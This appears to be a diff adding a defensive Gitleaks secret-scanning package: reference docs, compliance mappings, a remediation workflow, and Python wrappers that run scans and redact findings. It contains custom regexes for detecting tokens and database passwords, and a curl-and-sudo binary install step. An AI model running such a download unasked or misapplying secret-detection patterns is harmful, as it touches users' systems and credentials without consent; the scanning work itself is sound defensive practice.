- [ ] Git history cleaned (if required)
|
||||
- [ ] Baseline updated
|
||||
- [ ] Root cause documented
|
||||
|
||||
### Root Cause
|
||||
[Why was the secret committed? Missing pre-commit hook? Developer education gap?]
|
||||
|
||||
### Preventive Measures
|
||||
[What changes prevent recurrence? Hook enforcement? Rule addition?]
|
||||
```
|
||||
+180
@@ -0,0 +1,180 @@
|
||||
# API Reference: Gitleaks Secret Scanning
|
||||
|
||||
## Libraries Used
|
||||
|
||||
| Library | Purpose |
|
||||
|---------|---------|
|
||||
| `subprocess` | Execute gitleaks CLI commands |
|
||||
| `json` | Parse gitleaks JSON report output |
|
||||
| `pathlib` | Handle repository and report file paths |
|
||||
| `os` | Read `GITLEAKS_CONFIG` environment variable |
|
||||
|
||||
## Installation
|
||||
|
||||
```bash
|
||||
# Install gitleaks binary
|
||||
# macOS
|
||||
brew install gitleaks
|
||||
|
||||
# Linux
|
||||
curl -sSfL https://github.com/gitleaks/gitleaks/releases/latest/download/gitleaks_linux_x64 -o gitleaks
|
||||
chmod +x gitleaks && sudo mv gitleaks /usr/local/bin/
|
||||
|
||||
# Docker
|
||||
docker pull ghcr.io/gitleaks/gitleaks:latest
|
||||
```
|
||||
|
||||
## CLI Commands
|
||||
|
||||
### Scan a Git Repository
|
||||
```bash
|
||||
gitleaks git --source=/path/to/repo --report-format=json --report-path=results.json
|
||||
```
|
||||
|
||||
### Scan a Directory (Non-Git)
|
||||
```bash
|
||||
gitleaks dir --source=/path/to/code --report-format=json --report-path=results.json
|
||||
```
|
||||
|
||||
### Scan from stdin
|
||||
```bash
|
||||
echo "aws_secret_access_key=AKIAIOSFODNN7EXAMPLE" | gitleaks stdin
|
||||
```
|
||||
|
||||
### Key CLI Flags
|
||||
|
||||
| Flag | Description |
|
||||
|------|-------------|
|
||||
| `--source` | Path to repository or directory to scan |
|
||||
| `--config`, `-c` | Path to custom gitleaks.toml config |
|
||||
| `--report-format`, `-f` | Output format: `json`, `csv`, `junit`, `sarif` |
|
||||
| `--report-path`, `-r` | Path to write the report file |
|
||||
| `--baseline-path` | Ignore known findings from baseline file |
|
||||
| `--exit-code` | Exit code when leaks found (default: 1) |
|
||||
| `--redact` | Redact secrets in output (percent: 0-100) |
|
||||
| `--verbose`, `-v` | Show verbose scan output |
|
||||
| `--no-git` | Treat source as plain directory |
|
||||
| `--log-level` | Log level: trace, debug, info, warn, error |
|
||||
| `--max-target-megabytes` | Skip files larger than this size |
|
||||
|
||||
## Custom Configuration (.gitleaks.toml)
|
||||
|
||||
```toml
|
||||
title = "Custom Gitleaks Config"
|
||||
|
||||
[extend]
|
||||
useDefault = true # Extend the default ruleset
|
||||
|
||||
[[rules]]
|
||||
id = "custom-internal-token"
|
||||
description = "Internal API token pattern"
|
||||
regex = '''(?i)internal[_-]?token\s*[:=]\s*['"]?([a-zA-Z0-9]{32,})'''
|
||||
tags = ["internal", "token"]
|
||||
keywords = ["internal_token", "internal-token"]
|
||||
|
||||
[[rules]]
|
||||
id = "custom-db-password"
|
||||
description = "Database password in config"
|
||||
regex = '''(?i)(db|database|mysql|postgres)[_-]?pass(word)?\s*[:=]\s*['"]?[^\s'"]{8,}'''
|
||||
tags = ["database", "password"]
|
||||
|
||||
[rules.allowlist]
|
||||
paths = ['''test/.*''', '''mock/.*''']
|
||||
regexTarget = "line"
|
||||
regexes = ['''(?i)example|placeholder|changeme|test''']
|
||||
|
||||
[[allowlist.paths]]
|
||||
regex = '''vendor/.*'''
|
||||
|
||||
[[allowlist.commits]]
|
||||
sha = "abc123def456"
|
||||
```
|
||||
|
||||
## Python Integration
|
||||
|
||||
### Run Gitleaks and Parse Results
|
||||
```python
|
||||
import subprocess
|
||||
import json
|
||||
from pathlib import Path
|
||||
|
||||
def scan_repository(repo_path, config_path=None):
|
||||
cmd = [
|
||||
"gitleaks", "git",
|
||||
"--source", str(repo_path),
|
||||
"--report-format", "json",
|
||||
"--report-path", "/tmp/gitleaks-report.json",
|
||||
"--exit-code", "0",
|
||||
]
|
||||
if config_path:
|
||||
cmd.extend(["--config", str(config_path)])
|
||||
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
|
||||
|
||||
report_path = Path("/tmp/gitleaks-report.json")
|
||||
if report_path.exists():
|
||||
with open(report_path) as f:
|
||||
findings = json.load(f)
|
||||
return findings
|
||||
return []
|
||||
```
|
||||
|
||||
### Categorize Findings by Severity
|
||||
```python
|
||||
HIGH_SEVERITY_RULES = {
|
||||
"aws-access-key", "aws-secret-key", "gcp-api-key",
|
||||
"github-pat", "private-key", "generic-api-key",
|
||||
}
|
||||
|
||||
def categorize_findings(findings):
|
||||
high, medium, low = [], [], []
|
||||
for f in findings:
|
||||
rule = f.get("RuleID", "")
|
||||
if rule in HIGH_SEVERITY_RULES:
|
||||
high.append(f)
|
||||
elif "password" in rule or "token" in rule:
|
||||
medium.append(f)
|
||||
else:
|
||||
low.append(f)
|
||||
return {"high": high, "medium": medium, "low": low}
|
||||
```
|
||||
|
||||
## GitHub Actions Integration
|
||||
|
||||
```yaml
|
||||
name: Gitleaks Secret Scan
|
||||
on: [push, pull_request]
|
||||
jobs:
|
||||
gitleaks:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
- uses: gitleaks/gitleaks-action@v2
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
```
|
||||
|
||||
## Output Format
|
||||
|
||||
```json
|
||||
[
|
||||
{
|
||||
"Description": "Detected a Generic API Key",
|
||||
"StartLine": 42,
|
||||
"EndLine": 42,
|
||||
"StartColumn": 15,
|
||||
"EndColumn": 55,
|
||||
"Match": "REDACTED",
|
||||
"Secret": "REDACTED",
|
||||
"File": "config/settings.py",
|
||||
"Commit": "a1b2c3d4e5f6",
|
||||
"Author": "developer@example.com",
|
||||
"Date": "2025-01-15T10:30:00Z",
|
||||
"RuleID": "generic-api-key",
|
||||
"Tags": ["api", "key"],
|
||||
"Fingerprint": "a1b2c3d4:config/settings.py:generic-api-key:42"
|
||||
}
|
||||
]
|
||||
```
|
||||
@@ -0,0 +1,54 @@
|
||||
# Standards Reference: Secret Scanning with Gitleaks
|
||||
|
||||
## OWASP Top 10 - A07:2021 Identification and Authentication Failures
|
||||
|
||||
- Hardcoded credentials in source code enable unauthorized access
|
||||
- Gitleaks detects API keys, passwords, tokens, and private keys before they reach repositories
|
||||
- CWE-798: Use of Hard-coded Credentials is a direct mapping
|
||||
|
||||
## NIST SSDF (SP 800-218)
|
||||
|
||||
### PW.1: Design Software to Meet Security Requirements
|
||||
- PW.1.1: Identify security requirements including credential management
|
||||
- Secrets should never be stored in source code; use environment variables or secrets managers
|
||||
|
||||
### PS.1: Protect All Forms of Code
|
||||
- PS.1.1: Store code securely with access controls and secret scanning
|
||||
- Implement pre-commit hooks to prevent secrets from entering version control
|
||||
|
||||
### PS.2: Provide a Mechanism for Verifying Software Release Integrity
|
||||
- Code signing and secret scanning ensure software releases do not contain embedded credentials
|
||||
|
||||
## CIS Software Supply Chain Security Guide
|
||||
|
||||
### Source Code Controls
|
||||
- SC-1: Automated secret scanning on all commits
|
||||
- SC-5: No hardcoded credentials in source repositories
|
||||
- SC-6: Secrets detection integrated into CI/CD pipeline
|
||||
|
||||
## OWASP SAMM - Secure Build
|
||||
|
||||
### Maturity Level 1
|
||||
- Scan repositories for common secret patterns using default rulesets
|
||||
- Alert developers when secrets are detected in pull requests
|
||||
|
||||
### Maturity Level 2
|
||||
- Custom rules for organization-specific secret patterns
|
||||
- Pre-commit hooks prevent secrets from entering history
|
||||
- Baseline management for legacy codebases
|
||||
|
||||
### Maturity Level 3
|
||||
- Automated secret rotation workflow triggered by detection
|
||||
- Correlation with secrets management systems for validation
|
||||
- Historical scanning with git-filter-repo remediation
|
||||
|
||||
## PCI DSS v4.0
|
||||
|
||||
- Requirement 6.3.1: Security vulnerabilities identified through a defined process including code analysis
|
||||
- Requirement 8.6.1: Secrets stored in code or configuration files must be protected
|
||||
- Requirement 8.6.3: Passwords/passphrases for application and system accounts are protected against misuse
|
||||
|
||||
## SOC 2 Trust Service Criteria
|
||||
|
||||
- CC6.1: Logical access security over protected information assets including credential management
|
||||
- CC6.7: Restrict transmission of data to authorized external parties (prevent credential leakage)
|
||||
@@ -0,0 +1,92 @@
|
||||
# Workflow Reference: Secret Scanning with Gitleaks
|
||||
|
||||
## Secret Detection Pipeline
|
||||
|
||||
```
|
||||
Developer Workstation CI/CD Pipeline Security Response
|
||||
│ │ │
|
||||
▼ │ │
|
||||
┌──────────────┐ │ │
|
||||
│ Pre-commit │ │ │
|
||||
│ Hook (local) │ │ │
|
||||
└──────┬───────┘ │ │
|
||||
│ │ │
|
||||
┌────┴────┐ │ │
|
||||
│ │ │ │
|
||||
PASS FAIL │ │
|
||||
│ (blocked) │ │
|
||||
▼ │ │
|
||||
Push to │ │
|
||||
Remote │ │
|
||||
│ ▼ │
|
||||
│ ┌──────────────┐ │
|
||||
└───────────────────────>│ Gitleaks CI │ │
|
||||
│ Scan (PR) │ │
|
||||
└──────┬───────┘ │
|
||||
│ │
|
||||
┌─────┴─────┐ │
|
||||
│ │ │
|
||||
PASS FAIL │
|
||||
│ ┌─────┴──────┐ │
|
||||
│ │ Block PR │ │
|
||||
│ │ + Alert │──────────────>│
|
||||
│ └────────────┘ ┌──────────┴──────┐
|
||||
│ │ Rotate Secret │
|
||||
│ │ Update Baseline │
|
||||
│ │ Clean History │
|
||||
│ └─────────────────┘
|
||||
▼
|
||||
Merge Permitted
|
||||
```
|
||||
|
||||
## Gitleaks Rule Configuration Deep Dive
|
||||
|
||||
### Rule Anatomy
|
||||
```toml
|
||||
[[rules]]
|
||||
id = "rule-unique-identifier" # Unique rule ID
|
||||
description = "Human-readable desc" # What this rule detects
|
||||
regex = '''pattern''' # Detection regex
|
||||
entropy = 3.5 # Minimum entropy threshold (optional)
|
||||
secretGroup = 1 # Regex capture group containing secret
|
||||
keywords = ["key1", "key2"] # Fast pre-filter keywords
|
||||
tags = ["aws", "credential"] # Categorization tags
|
||||
path = '''\.env$''' # Path filter regex (optional)
|
||||
```
|
||||
|
||||
### Built-in Rule Categories
|
||||
| Category | Example Rules | Count |
|
||||
|----------|--------------|-------|
|
||||
| Cloud Provider Keys | aws-access-key-id, gcp-service-account | 15+ |
|
||||
| API Tokens | github-pat, gitlab-pat, slack-token | 20+ |
|
||||
| Private Keys | private-key, rsa-private-key | 5+ |
|
||||
| Database Credentials | generic-password, connection-string | 10+ |
|
||||
| Service Tokens | stripe-api-key, sendgrid-api-key | 30+ |
|
||||
|
||||
### Entropy Scoring
|
||||
- Entropy measures string randomness (Shannon entropy)
|
||||
- Random-looking strings (API keys) have entropy > 3.5
|
||||
- Regular English text has entropy around 2.0-3.0
|
||||
- Setting entropy threshold reduces false positives on non-random strings
|
||||
- Combine entropy with regex for highest accuracy
|
||||
|
||||
## Remediation Process
|
||||
|
||||
### Secret Rotation Checklist
|
||||
1. Identify the exposed secret type and associated service
|
||||
2. Log into the service provider and revoke the exposed credential
|
||||
3. Generate a new credential with the same permissions
|
||||
4. Store the new credential in a secrets manager (Vault, AWS SM, etc.)
|
||||
5. Update all consuming services to use the new credential
|
||||
6. Verify service functionality with the new credential
|
||||
7. Update the Gitleaks baseline to remove the resolved finding
|
||||
8. Optionally clean git history with git-filter-repo
|
||||
|
||||
### History Cleanup Decision Matrix
|
||||
| Factor | Clean History | Keep History |
|
||||
|--------|--------------|--------------|
|
||||
| Secret is rotated | Optional | Acceptable |
|
||||
| Repo is public | Required | Never |
|
||||
| Compliance mandate | Required | Not compliant |
|
||||
| Active contributor count | < 10 preferred | > 10 difficult |
|
||||
| Secret exposure duration | Long (high risk) | Short (lower risk) |
|
||||
@@ -0,0 +1,215 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Gitleaks secret scanning agent.
|
||||
|
||||
Wraps the Gitleaks CLI to scan git repositories, directories, or
|
||||
specific commits for hardcoded secrets, API keys, tokens, and
|
||||
credentials. Parses JSON output into structured findings.
|
||||
"""
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
|
||||
|
||||
def find_gitleaks_binary():
|
||||
"""Locate the gitleaks binary on the system."""
|
||||
custom_path = os.environ.get("GITLEAKS_PATH")
|
||||
if custom_path and os.path.isfile(custom_path):
|
||||
return custom_path
|
||||
for name in ["gitleaks", "gitleaks.exe"]:
|
||||
for directory in os.environ.get("PATH", "").split(os.pathsep):
|
||||
full_path = os.path.join(directory, name)
|
||||
if os.path.isfile(full_path):
|
||||
return full_path
|
||||
print("[!] gitleaks binary not found. Install: https://github.com/gitleaks/gitleaks",
|
||||
file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def run_detect(gitleaks_bin, target, config=None, baseline=None,
|
||||
log_opts=None, no_git=False, verbose=False):
|
||||
"""Run gitleaks detect on a repository or directory."""
|
||||
cmd = [gitleaks_bin, "detect"]
|
||||
if no_git:
|
||||
cmd.extend(["--no-git", "--source", target])
|
||||
else:
|
||||
cmd.extend(["--source", target])
|
||||
cmd.extend(["--report-format", "json", "--report-path", "/dev/stdout"])
|
||||
if config:
|
||||
cmd.extend(["--config", config])
|
||||
if baseline:
|
||||
cmd.extend(["--baseline-path", baseline])
|
||||
if log_opts:
|
||||
cmd.extend(["--log-opts", log_opts])
|
||||
if verbose:
|
||||
cmd.append("--verbose")
|
||||
cmd.extend(["--exit-code", "0"])
|
||||
|
||||
print(f"[*] Running: {' '.join(cmd)}")
|
||||
result = subprocess.run(
|
||||
cmd,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=600,
|
||||
)
|
||||
if result.returncode not in (0, 1):
|
||||
print(f"[!] Gitleaks error (exit {result.returncode}): {result.stderr}",
|
||||
file=sys.stderr)
|
||||
return result.stdout, result.stderr, result.returncode
|
||||
|
||||
|
||||
def run_protect(gitleaks_bin, target, config=None, staged=False, verbose=False):
|
||||
"""Run gitleaks protect for pre-commit scanning."""
|
||||
cmd = [gitleaks_bin, "protect", "--source", target]
|
||||
cmd.extend(["--report-format", "json", "--report-path", "/dev/stdout"])
|
||||
if staged:
|
||||
cmd.append("--staged")
|
||||
if config:
|
||||
cmd.extend(["--config", config])
|
||||
if verbose:
|
||||
cmd.append("--verbose")
|
||||
cmd.extend(["--exit-code", "0"])
|
||||
|
||||
print(f"[*] Running protect mode: {' '.join(cmd)}")
|
||||
result = subprocess.run(
|
||||
cmd,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=300,
|
||||
)
|
||||
return result.stdout, result.stderr, result.returncode
|
||||
|
||||
|
||||
def parse_findings(raw_json):
|
||||
"""Parse gitleaks JSON output into structured findings."""
|
||||
findings = []
|
||||
if not raw_json or not raw_json.strip():
|
||||
return findings
|
||||
try:
|
||||
results = json.loads(raw_json)
|
||||
except json.JSONDecodeError:
|
||||
return findings
|
||||
if not isinstance(results, list):
|
||||
results = [results]
|
||||
for item in results:
|
||||
secret_val = item.get("Secret", "")
|
||||
findings.append({
|
||||
"rule_id": item.get("RuleID", "unknown"),
|
||||
"description": item.get("Description", ""),
|
||||
"secret": secret_val[:8] + "..." if secret_val else "",
|
||||
"file": item.get("File", ""),
|
||||
"line": item.get("StartLine", 0),
|
||||
"commit": (item.get("Commit", "") or "")[:12],
|
||||
"author": item.get("Author", ""),
|
||||
"email": item.get("Email", ""),
|
||||
"date": item.get("Date", ""),
|
||||
"message": (item.get("Message", "") or "")[:80],
|
||||
"entropy": item.get("Entropy", 0),
|
||||
"fingerprint": item.get("Fingerprint", ""),
|
||||
"tags": item.get("Tags", []),
|
||||
})
|
||||
return findings
|
||||
|
||||
|
||||
def format_summary(findings, target):
|
||||
"""Print human-readable summary of secrets found."""
|
||||
print(f"\n{'='*60}")
|
||||
print(f" Gitleaks Secret Scan Report")
|
||||
print(f"{'='*60}")
|
||||
print(f" Target : {target}")
|
||||
print(f" Secrets : {len(findings)}")
|
||||
|
||||
if not findings:
|
||||
print(f" Status : CLEAN - No secrets detected")
|
||||
print(f"{'='*60}")
|
||||
return
|
||||
|
||||
by_rule = {}
|
||||
for f in findings:
|
||||
rule = f["rule_id"]
|
||||
by_rule.setdefault(rule, []).append(f)
|
||||
|
||||
print(f"\n Findings by Rule:")
|
||||
for rule, items in sorted(by_rule.items(), key=lambda x: -len(x[1])):
|
||||
print(f" {rule:40s}: {len(items)} occurrence(s)")
|
||||
|
||||
by_file = {}
|
||||
for f in findings:
|
||||
by_file.setdefault(f["file"], []).append(f)
|
||||
|
||||
print(f"\n Affected Files: {len(by_file)}")
|
||||
for filepath, items in sorted(by_file.items(), key=lambda x: -len(x[1]))[:10]:
|
||||
print(f" {filepath} ({len(items)} secret(s))")
|
||||
|
||||
print(f"\n Top Findings:")
|
||||
for f in findings[:15]:
|
||||
print(f" [{f['rule_id']:30s}] {f['file']}:{f['line']} "
|
||||
f"(commit: {f['commit']}, secret: {f['secret']})")
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Gitleaks secret scanning agent"
|
||||
)
|
||||
parser.add_argument("--target", required=True,
|
||||
help="Repository path or directory to scan")
|
||||
parser.add_argument("--mode", choices=["detect", "protect"], default="detect",
|
||||
help="Scan mode: detect (full history) or protect (pre-commit)")
|
||||
parser.add_argument("--config", help="Path to custom .gitleaks.toml config")
|
||||
parser.add_argument("--baseline", help="Path to baseline file for known findings")
|
||||
parser.add_argument("--log-opts", help="Git log options (e.g., '--since=2026-01-01')")
|
||||
parser.add_argument("--no-git", action="store_true",
|
||||
help="Scan files without git history")
|
||||
parser.add_argument("--staged", action="store_true",
|
||||
help="Only scan staged changes (protect mode)")
|
||||
parser.add_argument("--output", "-o", help="Output JSON report path")
|
||||
parser.add_argument("--verbose", "-v", action="store_true")
|
||||
args = parser.parse_args()
|
||||
|
||||
gitleaks_bin = find_gitleaks_binary()
|
||||
print(f"[*] Using gitleaks: {gitleaks_bin}")
|
||||
|
||||
if args.mode == "protect":
|
||||
raw_json, stderr, exit_code = run_protect(
|
||||
gitleaks_bin, args.target, args.config, args.staged, args.verbose
|
||||
)
|
||||
else:
|
||||
raw_json, stderr, exit_code = run_detect(
|
||||
gitleaks_bin, args.target, args.config, args.baseline,
|
||||
args.log_opts, args.no_git, args.verbose
|
||||
)
|
||||
|
||||
findings = parse_findings(raw_json)
|
||||
format_summary(findings, args.target)
|
||||
|
||||
report = {
|
||||
"timestamp": datetime.now(timezone.utc).isoformat(),
|
||||
"tool": "gitleaks",
|
||||
"target": args.target,
|
||||
"mode": args.mode,
|
||||
"secrets_found": len(findings),
|
||||
"findings": findings,
|
||||
"risk_level": (
|
||||
"CRITICAL" if len(findings) > 10
|
||||
else "HIGH" if len(findings) > 0
|
||||
else "LOW"
|
||||
),
|
||||
}
|
||||
|
||||
if args.output:
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
print(f"\n[+] Report saved to {args.output}")
|
||||
elif args.verbose:
|
||||
print(json.dumps(report, indent=2))
|
||||
|
||||
if findings:
|
||||
print(f"\n[!] {len(findings)} secret(s) detected - remediation required")
|
||||
else:
|
||||
print(f"\n[+] No secrets detected")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,299 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Gitleaks Secret Scanning Pipeline Script
|
||||
|
||||
Runs Gitleaks scans, manages baselines, evaluates findings,
|
||||
and generates remediation reports.
|
||||
|
||||
Usage:
|
||||
python process.py --repo-path /path/to/repo --scan-type detect
|
||||
python process.py --repo-path . --scan-type protect --staged
|
||||
python process.py --repo-path . --baseline .gitleaks-baseline.json --output report.json
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
from dataclasses import dataclass, field
|
||||
from datetime import datetime, timezone
|
||||
from typing import Optional
|
||||
|
||||
|
||||
@dataclass
|
||||
class SecretFinding:
|
||||
rule_id: str
|
||||
description: str
|
||||
file: str
|
||||
line: int
|
||||
commit: str
|
||||
author: str
|
||||
date: str
|
||||
secret: str
|
||||
entropy: float
|
||||
match: str
|
||||
tags: list = field(default_factory=list)
|
||||
is_new: bool = True
|
||||
|
||||
|
||||
@dataclass
|
||||
class ScanResult:
|
||||
findings: list = field(default_factory=list)
|
||||
new_findings: list = field(default_factory=list)
|
||||
baseline_findings: list = field(default_factory=list)
|
||||
commits_scanned: int = 0
|
||||
scan_duration: float = 0.0
|
||||
error: str = ""
|
||||
|
||||
|
||||
def run_gitleaks(repo_path: str, scan_type: str = "detect",
|
||||
baseline_path: Optional[str] = None,
|
||||
commit_range: Optional[str] = None,
|
||||
staged: bool = False,
|
||||
config_path: Optional[str] = None) -> dict:
|
||||
"""Execute Gitleaks and return JSON results."""
|
||||
cmd = ["gitleaks", scan_type, "--source", repo_path,
|
||||
"--report-format", "json", "--report-path", "/dev/stdout"]
|
||||
|
||||
if baseline_path and os.path.exists(baseline_path):
|
||||
cmd.extend(["--baseline-path", baseline_path])
|
||||
|
||||
if commit_range:
|
||||
cmd.extend(["--log-opts", commit_range])
|
||||
|
||||
if staged:
|
||||
cmd.append("--staged")
|
||||
|
||||
if config_path:
|
||||
cmd.extend(["--config", config_path])
|
||||
|
||||
cmd.append("--verbose")
|
||||
|
||||
try:
|
||||
proc = subprocess.run(
|
||||
cmd,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=300
|
||||
)
|
||||
|
||||
findings = []
|
||||
if proc.stdout.strip():
|
||||
try:
|
||||
findings = json.loads(proc.stdout)
|
||||
except json.JSONDecodeError:
|
||||
pass
|
||||
|
||||
return {
|
||||
"findings": findings if isinstance(findings, list) else [],
|
||||
"exit_code": proc.returncode,
|
||||
"stderr": proc.stderr
|
||||
}
|
||||
|
||||
except subprocess.TimeoutExpired:
|
||||
return {"findings": [], "exit_code": -1, "stderr": "Scan timed out after 300s"}
|
||||
except FileNotFoundError:
|
||||
return {"findings": [], "exit_code": -1,
|
||||
"stderr": "gitleaks not found. Install from https://github.com/gitleaks/gitleaks"}
|
||||
|
||||
|
||||
def parse_findings(raw_findings: list) -> list:
|
||||
"""Parse raw Gitleaks JSON findings into SecretFinding objects."""
|
||||
findings = []
|
||||
for f in raw_findings:
|
||||
redacted_secret = redact_secret(f.get("Secret", ""))
|
||||
findings.append(SecretFinding(
|
||||
rule_id=f.get("RuleID", "unknown"),
|
||||
description=f.get("Description", ""),
|
||||
file=f.get("File", ""),
|
||||
line=f.get("StartLine", 0),
|
||||
commit=f.get("Commit", "")[:8],
|
||||
author=f.get("Author", ""),
|
||||
date=f.get("Date", ""),
|
||||
secret=redacted_secret,
|
||||
entropy=f.get("Entropy", 0.0),
|
||||
match=f.get("Match", "")[:100],
|
||||
tags=f.get("Tags", [])
|
||||
))
|
||||
return findings
|
||||
|
||||
|
||||
def redact_secret(secret: str) -> str:
|
||||
"""Redact a secret, showing only first 4 and last 4 characters."""
|
||||
if len(secret) <= 12:
|
||||
return "*" * len(secret)
|
||||
return secret[:4] + "..." + secret[-4:]
|
||||
|
||||
|
||||
def load_baseline(baseline_path: str) -> set:
|
||||
"""Load baseline fingerprints for comparison."""
|
||||
if not os.path.exists(baseline_path):
|
||||
return set()
|
||||
|
||||
with open(baseline_path, "r") as f:
|
||||
try:
|
||||
baseline = json.load(f)
|
||||
except json.JSONDecodeError:
|
||||
return set()
|
||||
|
||||
fingerprints = set()
|
||||
for entry in baseline:
|
||||
fp = f"{entry.get('RuleID', '')}:{entry.get('File', '')}:{entry.get('Commit', '')}"
|
||||
fingerprints.add(fp)
|
||||
|
||||
return fingerprints
|
||||
|
||||
|
||||
def classify_findings(findings: list, baseline_fingerprints: set) -> tuple:
|
||||
"""Separate findings into new and baseline (pre-existing)."""
|
||||
new_findings = []
|
||||
baseline_findings = []
|
||||
|
||||
for f in findings:
|
||||
fp = f"{f.rule_id}:{f.file}:{f.commit}"
|
||||
if fp in baseline_fingerprints:
|
||||
f.is_new = False
|
||||
baseline_findings.append(f)
|
||||
else:
|
||||
f.is_new = True
|
||||
new_findings.append(f)
|
||||
|
||||
return new_findings, baseline_findings
|
||||
|
||||
|
||||
def generate_report(scan_result: ScanResult, repo_path: str) -> dict:
|
||||
"""Generate a structured scan report."""
|
||||
rule_summary = {}
|
||||
for f in scan_result.findings:
|
||||
rule_summary[f.rule_id] = rule_summary.get(f.rule_id, 0) + 1
|
||||
|
||||
author_summary = {}
|
||||
for f in scan_result.new_findings:
|
||||
author_summary[f.author] = author_summary.get(f.author, 0) + 1
|
||||
|
||||
return {
|
||||
"report_metadata": {
|
||||
"repository": repo_path,
|
||||
"scan_date": datetime.now(timezone.utc).isoformat(),
|
||||
"duration_seconds": scan_result.scan_duration,
|
||||
"commits_scanned": scan_result.commits_scanned
|
||||
},
|
||||
"summary": {
|
||||
"total_findings": len(scan_result.findings),
|
||||
"new_findings": len(scan_result.new_findings),
|
||||
"baseline_findings": len(scan_result.baseline_findings),
|
||||
"unique_rules_triggered": len(rule_summary),
|
||||
"rules_breakdown": rule_summary,
|
||||
"authors_with_new_findings": author_summary
|
||||
},
|
||||
"quality_gate": {
|
||||
"passed": len(scan_result.new_findings) == 0,
|
||||
"blocking_count": len(scan_result.new_findings)
|
||||
},
|
||||
"new_findings": [
|
||||
{
|
||||
"rule_id": f.rule_id,
|
||||
"description": f.description,
|
||||
"file": f.file,
|
||||
"line": f.line,
|
||||
"commit": f.commit,
|
||||
"author": f.author,
|
||||
"date": f.date,
|
||||
"secret_preview": f.secret,
|
||||
"entropy": f.entropy
|
||||
}
|
||||
for f in scan_result.new_findings
|
||||
],
|
||||
"remediation_steps": [
|
||||
f"1. Rotate the {f.rule_id} credential found in {f.file}"
|
||||
for f in scan_result.new_findings
|
||||
]
|
||||
}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Gitleaks Secret Scanning Pipeline")
|
||||
parser.add_argument("--repo-path", required=True, help="Path to git repository")
|
||||
parser.add_argument("--scan-type", default="detect", choices=["detect", "protect"],
|
||||
help="Scan type: detect (history) or protect (staged/pre-commit)")
|
||||
parser.add_argument("--baseline", default=None, help="Path to baseline JSON file")
|
||||
parser.add_argument("--commit-range", default=None,
|
||||
help="Git log range (e.g., HEAD~10..HEAD)")
|
||||
parser.add_argument("--staged", action="store_true",
|
||||
help="Scan only staged changes (for pre-commit)")
|
||||
parser.add_argument("--config", default=None, help="Path to .gitleaks.toml config")
|
||||
parser.add_argument("--output", default="gitleaks-report.json", help="Output report path")
|
||||
parser.add_argument("--fail-on-findings", action="store_true",
|
||||
help="Exit non-zero on new findings")
|
||||
parser.add_argument("--create-baseline", action="store_true",
|
||||
help="Generate baseline from current findings")
|
||||
args = parser.parse_args()
|
||||
|
||||
repo_path = os.path.abspath(args.repo_path)
|
||||
start_time = datetime.now(timezone.utc)
|
||||
|
||||
print(f"[*] Running Gitleaks {args.scan_type} on {repo_path}")
|
||||
|
||||
raw_result = run_gitleaks(
|
||||
repo_path,
|
||||
scan_type=args.scan_type,
|
||||
baseline_path=args.baseline,
|
||||
commit_range=args.commit_range,
|
||||
staged=args.staged,
|
||||
config_path=args.config
|
||||
)
|
||||
|
||||
if raw_result["exit_code"] == -1:
|
||||
print(f"[ERROR] {raw_result['stderr']}")
|
||||
sys.exit(2)
|
||||
|
||||
scan_result = ScanResult()
|
||||
scan_result.findings = parse_findings(raw_result["findings"])
|
||||
scan_result.scan_duration = (datetime.now(timezone.utc) - start_time).total_seconds()
|
||||
|
||||
if args.baseline:
|
||||
baseline_fps = load_baseline(args.baseline)
|
||||
scan_result.new_findings, scan_result.baseline_findings = classify_findings(
|
||||
scan_result.findings, baseline_fps
|
||||
)
|
||||
else:
|
||||
scan_result.new_findings = scan_result.findings
|
||||
scan_result.baseline_findings = []
|
||||
|
||||
if args.create_baseline:
|
||||
baseline_path = os.path.join(repo_path, ".gitleaks-baseline.json")
|
||||
with open(baseline_path, "w") as f:
|
||||
json.dump(raw_result["findings"], f, indent=2)
|
||||
print(f"[*] Baseline created: {baseline_path}")
|
||||
print(f" Contains {len(raw_result['findings'])} findings")
|
||||
return
|
||||
|
||||
report = generate_report(scan_result, repo_path)
|
||||
|
||||
output_path = os.path.abspath(args.output)
|
||||
with open(output_path, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
print(f"[*] Report: {output_path}")
|
||||
|
||||
print(f"\n[*] Total: {len(scan_result.findings)} | "
|
||||
f"New: {len(scan_result.new_findings)} | "
|
||||
f"Baseline: {len(scan_result.baseline_findings)}")
|
||||
|
||||
if scan_result.new_findings:
|
||||
print("\n[!] New secrets detected:")
|
||||
for f in scan_result.new_findings:
|
||||
print(f" [{f.rule_id}] {f.file}:{f.line} (commit: {f.commit}, author: {f.author})")
|
||||
print(f" Secret: {f.secret}")
|
||||
|
||||
if report["quality_gate"]["passed"]:
|
||||
print("\n[PASS] No new secrets detected.")
|
||||
else:
|
||||
print(f"\n[FAIL] {len(scan_result.new_findings)} new secrets found. Rotate immediately.")
|
||||
|
||||
if args.fail_on_findings and not report["quality_gate"]["passed"]:
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
